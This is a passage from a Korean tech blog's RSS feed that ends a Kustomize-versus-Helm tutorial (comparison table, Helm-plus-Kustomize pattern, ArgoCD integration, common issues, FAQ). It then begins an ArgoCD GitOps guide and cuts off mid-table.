          &lt;source srcset=&apos;/static/ba8f80e4182d2ecfd17af885a971adb8/a1b3b/diagram-vs-helm.webp 215w,
/static/ba8f80e4182d2ecfd17af885a971adb8/fc700/diagram-vs-helm.webp 430w,
/static/ba8f80e4182d2ecfd17af885a971adb8/521f7/diagram-vs-helm.webp 860w,
/static/ba8f80e4182d2ecfd17af885a971adb8/cbd37/diagram-vs-helm.webp 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/ba8f80e4182d2ecfd17af885a971adb8/f7886/diagram-vs-helm.png 215w,
/static/ba8f80e4182d2ecfd17af885a971adb8/bc750/diagram-vs-helm.png 430w,
/static/ba8f80e4182d2ecfd17af885a971adb8/3e3fe/diagram-vs-helm.png 860w,
/static/ba8f80e4182d2ecfd17af885a971adb8/64756/diagram-vs-helm.png 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/ba8f80e4182d2ecfd17af885a971adb8/3e3fe/diagram-vs-helm.png&apos; alt=&apos;Helm vs Kustomize 비교 — 템플릿 변수 치환 vs 패치 오버레이 방식의 차이&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;Helm vs Kustomize 비교 — 템플릿 변수 치환 vs 패치 오버레이 방식의 차이&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;Helm&lt;/th&gt;
&lt;th&gt;Kustomize&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;학습 곡선&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Go 템플릿 문법 필요&lt;/td&gt;
&lt;td&gt;YAML만 알면 됨&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;설치&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;별도 바이너리&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;kubectl 내장&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;환경 분리&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;values 파일&lt;/td&gt;
&lt;td&gt;overlay 디렉토리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;버전 관리&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;helm history&lt;/code&gt;·&lt;code class=&quot;language-text&quot;&gt;rollback&lt;/code&gt; 내장&lt;/td&gt;
&lt;td&gt;없음 (Git·ArgoCD에 의존)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;패키지 공유&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;레포지토리 생태계 풍부&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;제한적 (Git 기반)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;복잡한 로직&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;템플릿 함수로 표현 가능&lt;/td&gt;
&lt;td&gt;제한적 (변환기·patch 조합)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;검증·자동완성&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;렌더링 후에만 가능&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;원본 YAML이 그대로 valid&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;외부 Chart 사용&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;네이티브&lt;/td&gt;
&lt;td&gt;helmCharts로 래핑 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CD 통합&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;ArgoCD·Flux 네이티브 지원&lt;/td&gt;
&lt;td&gt;ArgoCD·Flux 네이티브 지원&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;선택 기준&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Helm이 유리한 경우:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;외부 Chart(ingress-nginx·cert-manager·prometheus 등) &lt;strong&gt;설치&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;패키지를 만들어 여러 사용자에게 &lt;strong&gt;배포&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;조건 분기·반복이 많은 복잡한 템플릿&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Kustomize가 유리한 경우:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;사내 마이크로서비스&lt;/strong&gt; YAML 관리 (학습 비용 최소)&lt;/li&gt;
&lt;li&gt;외부 Chart에 &lt;strong&gt;파일 몇 개만 덧붙이는&lt;/strong&gt; 상황&lt;/li&gt;
&lt;li&gt;엄격한 YAML 검증·리뷰 문화&lt;/li&gt;
&lt;li&gt;팀에 Go 템플릿 경험이 없는 경우&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;둘 다 쓰는 게 현실&lt;/strong&gt;: ingress-nginx는 Helm으로 설치하고, 우리 앱은 kustomize로 관리하는 식. ArgoCD는 &lt;strong&gt;둘 다 네이티브 지원&lt;/strong&gt;하므로 CD 레벨에서 통합됩니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;조합 패턴 — Helm 위에 Kustomize&lt;/h2&gt;
&lt;p&gt;Helm Chart를 base로 두고 kustomize overlay로 &lt;strong&gt;사내 규약&lt;/strong&gt;을 얹는 패턴.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# overlays/prod/kustomization.yaml&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; kustomize.config.k8s.io/v1beta1
&lt;span class=&quot;token key atrule&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Kustomization

&lt;span class=&quot;token key atrule&quot;&gt;helmCharts&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; nginx
    &lt;span class=&quot;token key atrule&quot;&gt;repo&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; https&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;//charts.bitnami.com/bitnami
    &lt;span class=&quot;token key atrule&quot;&gt;version&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 15.4.4
    &lt;span class=&quot;token key atrule&quot;&gt;releaseName&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; my&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;nginx
    &lt;span class=&quot;token key atrule&quot;&gt;valuesFile&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; values&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;prod.yaml

&lt;span class=&quot;token key atrule&quot;&gt;patches&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; common&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;labels&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;patch.yaml &lt;span class=&quot;token comment&quot;&gt;# 사내 라벨 규약 강제&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;실행 시 &lt;code class=&quot;language-text&quot;&gt;--enable-helm&lt;/code&gt; 플래그 필요&lt;/strong&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;kustomize build --enable-helm overlays/prod&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이 패턴의 가치: &lt;strong&gt;외부 Chart의 기본 구조를 존중하면서, 사내 보안·관측·네이밍 규약을 일관되게 덧붙일 수 있습니다.&lt;/strong&gt; 매우 실용적입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;ArgoCD 연동 — 5편 이어서&lt;/h2&gt;
&lt;p&gt;ArgoCD는 kustomization.yaml을 &lt;strong&gt;자동 감지&lt;/strong&gt;합니다. Application에 path만 지정하면 끝.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Application 매니페스트&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; argoproj.io/v1alpha1
&lt;span class=&quot;token key atrule&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Application
&lt;span class=&quot;token key atrule&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; my&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;app&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;prod
&lt;span class=&quot;token key atrule&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;source&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;repoURL&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; https&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;//github.com/javapark/k8s&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;manifests.git
    &lt;span class=&quot;token key atrule&quot;&gt;targetRevision&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; main
    &lt;span class=&quot;token key atrule&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; apps/my&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;app/overlays/prod
    &lt;span class=&quot;token key atrule&quot;&gt;kustomize&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;namePrefix&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; prod&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# ArgoCD 수준에서 추가 오버라이드 가능&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;images&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; nginx=nginx&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;1.27.1
  &lt;span class=&quot;token key atrule&quot;&gt;destination&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;server&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; https&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;//kubernetes.default.svc
    &lt;span class=&quot;token key atrule&quot;&gt;namespace&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; production&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;CI 파이프라인에서 이미지 태그만 &lt;code class=&quot;language-text&quot;&gt;kustomize edit set image&lt;/code&gt;로 갱신 → Git push → ArgoCD 자동 sync. &lt;strong&gt;&lt;a href=&quot;/argocd-gitops-guide/&quot;&gt;ArgoCD 편&lt;/a&gt;&lt;/strong&gt;의 Self-Heal까지 붙이면 재현 가능한 배포 파이프라인 완성.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# CI에서 쓰는 패턴&lt;/span&gt;
&lt;span class=&quot;token builtin class-name&quot;&gt;cd&lt;/span&gt; apps/my-app/overlays/prod
kustomize edit &lt;span class=&quot;token builtin class-name&quot;&gt;set&lt;/span&gt; image &lt;span class=&quot;token assign-left variable&quot;&gt;nginx&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;nginx:v1.2.4
&lt;span class=&quot;token function&quot;&gt;git&lt;/span&gt; commit &lt;span class=&quot;token parameter variable&quot;&gt;-am&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;chore: bump nginx to v1.2.4&quot;&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;git&lt;/span&gt; push&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr&gt;
&lt;h2&gt;자주 겪는 이슈 3가지&lt;/h2&gt;
&lt;h3&gt;1) &quot;patch가 안 먹힌다&quot;&lt;/h3&gt;
&lt;p&gt;대부분 &lt;code class=&quot;language-text&quot;&gt;target&lt;/code&gt; 불일치입니다. &lt;code class=&quot;language-text&quot;&gt;kind&lt;/code&gt;·&lt;code class=&quot;language-text&quot;&gt;name&lt;/code&gt;·(필요시) &lt;code class=&quot;language-text&quot;&gt;namespace&lt;/code&gt;가 정확히 일치하는지 확인. &lt;code class=&quot;language-text&quot;&gt;labelSelector&lt;/code&gt;로 여러 리소스를 타겟할 수도 있습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;patches&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; add&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;label.yaml
    &lt;span class=&quot;token key atrule&quot;&gt;target&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Deployment
      &lt;span class=&quot;token key atrule&quot;&gt;labelSelector&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;tier=backend&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;2) &quot;commonLabels가 Selector까지 바꿔서 배포가 깨진다&quot;&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;commonLabels&lt;/code&gt;는 Selector에도 적용됩니다. 이미 배포된 Deployment의 Selector는 &lt;strong&gt;불변&lt;/strong&gt; — 새 라벨 추가 시 롤아웃이 실패합니다. 팀 라벨 같은 고정값은 처음부터 넣거나, &lt;code class=&quot;language-text&quot;&gt;labels&lt;/code&gt; 변환기(v4.5+)로 &lt;strong&gt;Selector 제외&lt;/strong&gt; 가능:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;labels&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;pairs&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;app.kubernetes.io/part-of&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; my&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;app
    &lt;span class=&quot;token key atrule&quot;&gt;includeSelectors&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean important&quot;&gt;false&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# Selector는 건드리지 않음&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;3) &quot;configMapGenerator 해시 때문에 Deployment가 매번 재배포된다&quot;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;원래 의도된 동작&lt;/strong&gt;입니다 (ConfigMap 내용 변경 시 Pod 새로고침). ConfigMap 해시를 원하지 않으면:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;generatorOptions&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;disableNameSuffixHash&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean important&quot;&gt;true&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;단, 이러면 ConfigMap 변경이 Pod에 자동 반영되지 않으니 &lt;strong&gt;rollout restart를 별도로 해야&lt;/strong&gt; 합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;FAQ&lt;/h2&gt;
&lt;h3&gt;Q. Helm을 이미 쓰고 있는데 kustomize로 갈아탈 가치가 있나요?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;작은 팀·단순 앱이면 Yes.&lt;/strong&gt; 템플릿 디버깅 시간이 많이 줄어듭니다. 단, 외부 Chart를 많이 쓰고 있다면 &lt;strong&gt;Helm을 유지하면서 일부만 kustomize로 관리&lt;/strong&gt;하는 하이브리드가 현실적입니다.&lt;/p&gt;
&lt;h3&gt;Q. &lt;code class=&quot;language-text&quot;&gt;kubectl apply -k&lt;/code&gt; 랑 &lt;code class=&quot;language-text&quot;&gt;kustomize build | kubectl apply -f -&lt;/code&gt; 차이는?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;내장 버전 vs 최신 버전의 차이&lt;/strong&gt;입니다. &lt;code class=&quot;language-text&quot;&gt;kubectl&lt;/code&gt; 내장 kustomize는 보통 standalone CLI보다 몇 버전 뒤처집니다. 신기능(Component, helmCharts 등)이 필요하면 standalone &lt;code class=&quot;language-text&quot;&gt;kustomize build&lt;/code&gt;를 쓰는 게 안전.&lt;/p&gt;
&lt;h3&gt;Q. 환경 수가 10개 넘어가면 overlay가 폭발하지 않나요?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Component&lt;/strong&gt;로 공통 기능을 뽑아내고, &lt;strong&gt;overlay는 최소한의 차이만&lt;/strong&gt; 담으세요. 같은 환경 그룹(예: dev 클러스터 3개)은 공통 overlay + 작은 patch로 처리. 정말 환경이 수십 개면 &lt;strong&gt;ArgoCD ApplicationSet&lt;/strong&gt;으로 자동 생성하는 게 맞습니다.&lt;/p&gt;
&lt;h3&gt;Q. Helm Chart를 kustomize base로 쓰려면?&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;helmCharts&lt;/code&gt; 필드를 쓰고 &lt;code class=&quot;language-text&quot;&gt;kustomize build --enable-helm&lt;/code&gt;으로 빌드. ArgoCD는 Application의 &lt;code class=&quot;language-text&quot;&gt;kustomize.helmCharts&lt;/code&gt;로 직접 지원합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;마무리 — 다음 단계&lt;/h2&gt;
&lt;p&gt;kustomize의 진짜 가치는 &lt;strong&gt;&quot;YAML을 YAML답게 다루는 경험&quot;&lt;/strong&gt;입니다. 파일 하나하나가 그 자체로 valid하고, 에디터·lint·리뷰 도구가 모두 그대로 동작합니다. Helm이 주는 &quot;패키지성&quot;과는 다른 축의 가치라 &lt;strong&gt;둘 다 쓰는 게 정답&lt;/strong&gt;이라는 게 오늘의 결론.&lt;/p&gt;
&lt;p&gt;오늘 정리 핵심:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Kustomize = &lt;strong&gt;Base + Overlay&lt;/strong&gt;, 템플릿 없이 patch로 조합&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code class=&quot;language-text&quot;&gt;kubectl&lt;/code&gt; 내장&lt;/strong&gt; — 설치 필요 없음&lt;/li&gt;
&lt;li&gt;가장 많이 쓰는 건 &lt;code class=&quot;language-text&quot;&gt;namespace&lt;/code&gt; · &lt;code class=&quot;language-text&quot;&gt;namePrefix&lt;/code&gt; · &lt;code class=&quot;language-text&quot;&gt;images&lt;/code&gt; · &lt;code class=&quot;language-text&quot;&gt;replicas&lt;/code&gt; · &lt;code class=&quot;language-text&quot;&gt;configMapGenerator&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Patch는 Strategic Merge 기본 / 정교한 경우 JSON 6902&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Helm과 대립이 아니라 조합&lt;/strong&gt; — 외부 Chart는 Helm, 사내 앱은 Kustomize&lt;/li&gt;
&lt;li&gt;ArgoCD가 둘 다 네이티브 지원하므로 &lt;strong&gt;CD 레벨에서 자유롭게 섞어 쓰기&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;시리즈 다음 주제&lt;/h3&gt;
&lt;ul class=&quot;contains-task-list&quot;&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; HPA·VPA로 오토스케일링 구성&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; Ingress + cert-manager로 HTTPS 자동화&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; Prometheus + Grafana 모니터링 스택&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; ArgoCD ApplicationSet 심화 — 멀티 클러스터 대규모 운영&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;여러분은 Helm과 Kustomize 중 주력으로 쓰는 건 어느 쪽인가요? 또는 이 둘을 어떻게 조합해 쓰고 계신지 댓글로 공유해주세요. 다음 편에 실전 패턴으로 반영하겠습니다.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[ArgoCD 완벽 가이드 — Git을 진실의 원천으로 만드는 쿠버네티스 GitOps 파이프라인]]></title><description><![CDATA[안녕하세요, 자바파커입니다. "누가 언제 뭘 배포했는지 기억이 안 납니다.  명령을 터미널 히스토리에서 뒤져야 합니다." 솔직히 저도 그랬습니다. 소규모 프로젝트 하나 돌리는데도 수동 가 쌓이면, 클러스터 상태와 Git 레포의 YAML…]]></description><link>https://blog.javapark.kr/argocd-gitops-guide/</link><guid isPermaLink="false">https://blog.javapark.kr/argocd-gitops-guide/</guid><pubDate>Tue, 21 Apr 2026 15:00:00 GMT</pubDate><content:encoded>&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;누가 언제 뭘 배포했는지 기억이 안 납니다. &lt;code class=&quot;language-text&quot;&gt;kubectl apply&lt;/code&gt; 명령을 터미널 히스토리에서 뒤져야 합니다.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;솔직히 저도 그랬습니다. 소규모 프로젝트 하나 돌리는데도 수동 &lt;code class=&quot;language-text&quot;&gt;apply&lt;/code&gt;가 쌓이면, 클러스터 상태와 Git 레포의 YAML이 &lt;strong&gt;조용히 어긋납니다&lt;/strong&gt;. &quot;운영에 긴급으로 꽂은 핫픽스&quot;가 Git에는 없고, 한 달 뒤 누가 그 YAML을 다시 &lt;code class=&quot;language-text&quot;&gt;apply&lt;/code&gt;하면 그 핫픽스가 증발합니다. 재현 불가능한 상태라는 게 이런 식으로 쌓입니다.&lt;/p&gt;
&lt;p&gt;결론부터 말씀드리면 — &lt;strong&gt;ArgoCD는 &quot;Git 레포를 진실의 원천으로 두고, 클러스터가 알아서 그 상태에 수렴하게 만드는&quot; GitOps 컨트롤러입니다.&lt;/strong&gt; 배포를 더 이상 &lt;code class=&quot;language-text&quot;&gt;kubectl apply&lt;/code&gt;로 하지 않고, &lt;strong&gt;Git에 push만 하면&lt;/strong&gt; ArgoCD가 감지해서 반영합니다. 핫픽스도 Git에 남고, 드리프트(drift)가 생기면 경고가 뜨거나 자동 복원됩니다. 오늘은 이 구조부터 실전 셋업·Sync 정책·Helm/Kustomize 조합·운영 팁까지 정리하겠습니다.&lt;/p&gt;
&lt;p&gt;이전 편을 안 보셨다면 &lt;a href=&quot;/k8s-understanding/&quot;&gt;K8S에 대한 이해&lt;/a&gt; · &lt;a href=&quot;/kubectl-essential-commands/&quot;&gt;kubectl 실전 명령어&lt;/a&gt; · &lt;a href=&quot;/k9s-essential-guide/&quot;&gt;k9s 완벽 가이드&lt;/a&gt; · &lt;a href=&quot;/helm-package-management/&quot;&gt;Helm 완벽 가이드&lt;/a&gt;부터 읽으시면 흐름이 이어집니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;GitOps란? — 한 줄 정의와 기존 방식과의 차이&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;GitOps는 &quot;시스템의 원하는 상태를 Git에 선언하고, 자동화 도구가 그 상태에 실제 시스템을 수렴시키는&quot; 운영 방식&lt;/strong&gt;입니다. 2017년 Weaveworks가 만든 용어지만 지금은 사실상 K8S 표준.&lt;/p&gt;
&lt;p&gt;기존 CI/CD(Push 모델)와 GitOps(Pull 모델)의 차이:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;전통적 CD (Push)&lt;/th&gt;
&lt;th&gt;GitOps (Pull)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;배포 트리거&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;CI에서 &lt;code class=&quot;language-text&quot;&gt;kubectl apply&lt;/code&gt; 푸시&lt;/td&gt;
&lt;td&gt;Git 변경을 &lt;strong&gt;클러스터 내 컨트롤러&lt;/strong&gt;가 감지&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;자격 증명&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;CI가 클러스터 권한 보유 → 외부 노출&lt;/td&gt;
&lt;td&gt;컨트롤러가 클러스터 내부 → 외부 노출 X&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;드리프트 감지&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;거의 불가능&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;자동&lt;/strong&gt; (원하는 상태 vs 실제 상태 비교)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;롤백&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;이전 이미지 재배포 수동 트리거&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Git revert&lt;/strong&gt; 한 번&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;감사 로그&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;CI 로그·명령 히스토리 조합&lt;/td&gt;
